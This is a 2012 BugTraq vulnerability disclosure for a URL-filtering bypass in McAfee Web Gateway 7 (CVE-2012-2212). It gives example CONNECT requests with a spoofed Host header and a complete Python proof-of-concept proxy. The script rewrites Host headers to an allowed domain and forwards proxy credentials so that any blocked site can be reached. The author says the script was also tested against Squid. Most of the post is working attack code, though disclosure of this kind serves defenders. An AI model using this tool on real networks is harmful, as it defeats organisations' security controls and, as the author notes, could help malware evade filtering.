BugTraq
McAfee Web Gateway URL Filtering Bypass Apr 16 2012 10:12PM
Gabriel Menezes Nunes (gab mnunes gmail com) (1 replies)
# Exploit Title: McAfee Web Gateway URL Filtering Bypass
# Date: 16/04/2012
# Author: Gabriel Menezes Nunes
# Version: McAfee Web Gateway
# Tested on: McAfee Web Gateway 7.0
# CVE: CVE-2012-2212

I found a vulnerability in McAfee Web Gateway 7 that allows access to
filtered sites.
The appliance believes in the Host field of HTTP Header using CONNECT method.
Example

CONNECT 66.220.147.44:443 HTTP/1.1
Host: www.facebook.com

It is blocked.

CONNECT 66.220.147.44:443 HTTP/1.1 (without host field)

It is blocked.

But:

CONNECT 66.220.147.44:443 HTTP/1.1
Host: www.uol.com.br (allowed url)

The connection works.

From here, I can send SSL traffic without a problem. This way, I can
access any blocked site that allows SSL connections.
Others test that I did is convert GET methods in CONNECT methods.

GET http://www.facebook.com HTTP/1.1
Host: www.facebook.com

in

CONNECT 66.220.147.44:80 HTTP/1.1
Host: www.uol.com.br

It will connect.

and after it is possible to send the GET packets. It will work!

This vulnerability is different from the CONNECT Tunnel method. The
flaw is on the Host field processing. The appliance believes on this
field.

So, any sites can be accessed. URL filtering in this device/software
is irrelevant and useless.
One of the most important (if not the most important) feature of this
kind of device is to protect the network in accessing specific URLs.
So, this flaw is very dangerous, and it can be implemented even in
malwares, bypassing any protection.
I developed a python script that acts like a proxy and it uses this
flaw to access any site.
This tool is just a proof of concept.
import socket,struct,sys,time
from threading import Thread

#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):

client.settimeout(timeOut)

global hostNameG

while 1:

dados = ""
tam = 0
while 1:
try:
dados2 = client.recv(1024)
tam = tam + len(dados2)
dados = dados + dados2
except socket.timeout:

break

dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
if dd != -1:
dd2 = dados.find(":")
hostName = dados[dd+8:dd2]

ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
pacote = dados
hostHeader = "Host: " + hostName
pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
pacote = pacote.replace(hostName, ipAddr) #changind domain for ip



dados = pacote

getd = dados.find("GET ")
getd2 = dados.find("//")
getd3 = dados.find("/", getd2+2)
hostName = dados[getd2+2:getd3]


if getd != -1:
globalSock.close()
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
globalSock.connect((proxyAddr,proxyPort))
globalSock.settimeout(timeOut)
getd2 = dados.find("//")
getd3 = dados.find("/", getd2+2)

hostName = dados[getd2+2:getd3]

proxyAuth = ""
proxyAuthN = dados.find("Proxy-Authorization:")
if proxyAuthN != -1:
proxyAuthNN = dados.find("\r\n", proxyAuthN)
proxyAuth = dados[proxyAuthN:proxyAuthNN]


ipAddr = socket.gethostbyname(hostName)

info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
if proxyAuthN != -1:
info += proxyAuth + "\r\n"

info += "Host: www.uol.com.br\r\n\r\n"

globalSock.send(info)
tam = 0
gdata = ""

while 1:
try:

gdata2 = globalSock.recv(1024)

tam = tam + len(gdata2)
gdata = gdata + gdata2

if len(gdata2) == 0:
break


except socket.timeout:

break





globalSock.send(dados)
tam = 0
gdata = ""

while 1:
try:

gdata2 = globalSock.recv(1024)

if len(gdata2) > 0:
client.send(gdata2)

tam = tam + len(gdata2)
gdata = gdata + gdata2

if len(gdata2) == 0:
break


except socket.timeout:

break

print 'Proxy Bypass'
print 'by Gabriel Menezes Nunes'
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Attacked Proxy:',
print proxyAddr
print 'Listening on',
print port
sockzao.bind(("",port))

sockzao.listen(6)

while 1:
print 'Waiting for connections'
client, address = sockzao.accept()
print 'Client Connected'
print address
globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
globalSock.connect((proxyAddr,proxyPort))
globalSock.settimeout(timeOut)

t = Thread(target=handle, args=(client,globalSock,))
t.start()

[ reply ]
Re: McAfee Web Gateway URL Filtering Bypass Apr 21 2012 12:40PM
Vikram Dhillon (dhillonv10 gmail com) (1 replies)
RE: McAfee Web Gateway URL Filtering Bypass Apr 24 2012 02:16PM
Jim Harrison (Jim isatools org)


 

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